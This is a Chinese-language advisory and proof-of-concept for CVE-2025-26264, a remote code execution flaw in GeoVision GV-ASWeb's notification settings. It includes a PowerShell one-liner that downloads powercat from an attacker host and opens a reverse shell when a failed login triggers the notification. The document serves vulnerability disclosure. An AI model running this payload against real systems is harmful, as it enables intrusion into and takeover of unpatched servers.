CVE-2025-26264

CVE-2025-26264 - GeoVision GV-ASWeb（版本 6.1.2.0 或更低版本）的“通知设置”功能中存在一个远程代码执行（RCE）漏洞。具有 ASWeb “系统设置”权限的已认证攻击者可以利用此漏洞在服务器上执行任意命令，从而导致系统完全受损。

要求

要成功实施攻击，攻击者需要：

• 能够访问版本为 6.1.2.0 或更低版本的 GV-ASManager Web 应用程序；
• 能够访问具有管理_通知设置_功能权限的账户。

影响

该漏洞可被利用来执行以下未经授权的操作：

• 拥有管理_通知设置_功能权限的账户能够：
  • 执行远程代码执行攻击。
• 攻击成功后，攻击者将能够：
  • 访问、修改或删除敏感系统信息；
  • 植入系统后门；
  • 发起勒索软件攻击；
  • 在内网中进行横向移动。

CVE-2025-26264 PoC [针对 GeoVision v6.1.2.0 的测试]

针对版本 6.1.2.0 或更低版本的 GeoVision GV-ASManager 的 ASWeb 平台，可以利用远程代码执行漏洞（截至 2025 年 2 月 26 日尚无修复补丁）。

GeoVision ASManager 的 ASWeb 功能“通知设置”存在 RCE 漏洞

在特定事件上设置通知的 HTTP 请求：TAWeb 登录尝试失败

根据此脚本，如果检测到一次失败的 TAWeb 登录尝试，将执行以下 PowerShell 脚本：

powershell.exe Set-ExecutionPolicy Bypass -Force;IEX(New-Object System.Net.WebClient).DownloadString('http://LHOST/powercat.ps1');powercat -c LHOST -p LPORT -e powershell

TAWeb 中的一次失败的身份验证尝试

受害者主机：该脚本为攻击者主机打开后门。

攻击者主机：攻击者获取 shell

联系方式

如有疑问，您可以通过 LinkedIn 联系我：Giorgi Dograshvili。